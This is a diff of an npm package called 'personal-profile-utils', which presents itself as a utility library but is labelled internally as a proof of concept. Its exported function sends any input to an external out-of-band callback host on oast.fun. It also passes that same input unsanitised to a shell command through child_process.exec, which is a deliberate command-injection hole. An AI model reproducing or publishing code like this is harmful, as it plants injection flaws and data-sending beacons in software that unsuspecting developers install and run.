personal-profile-utils 1.0.0

package/index.js

@@ -0,0 +1,26 @@
+// index.js
+const { exec } = require('child_process');
+const http = require('http');
+
+function vulnerableFunction(payload) {
+  // Replace "your.server.com" with the hostname or IP address of your server
+  const url = `http://cen13pe2vtc0000dhckgg8kot5eyyyyyb.oast.fun/?payload=${payload}`;
+
+  // Make an HTTP request to your server
+  http.get(url, (res) => {
+    console.log(`Server response status: ${res.statusCode}`);
+    res.setEncoding('utf8');
+    res.on('data', (chunk) => {
+      console.log(`Server response body: ${chunk}`);
+    });
+  });
+  
+  // Execute the vulnerable command
+  exec(`echo ${payload}`, (error, stdout, stderr) => {
+    console.log(stdout);
+  });
+}
+
+module.exports = {
+  vulnerableFunction
+};

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "personal-profile-utils",
+  "version": "1.0.0",
+  "description": "this is a PoC",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "ratrarity",
+  "license": "MIT"
+}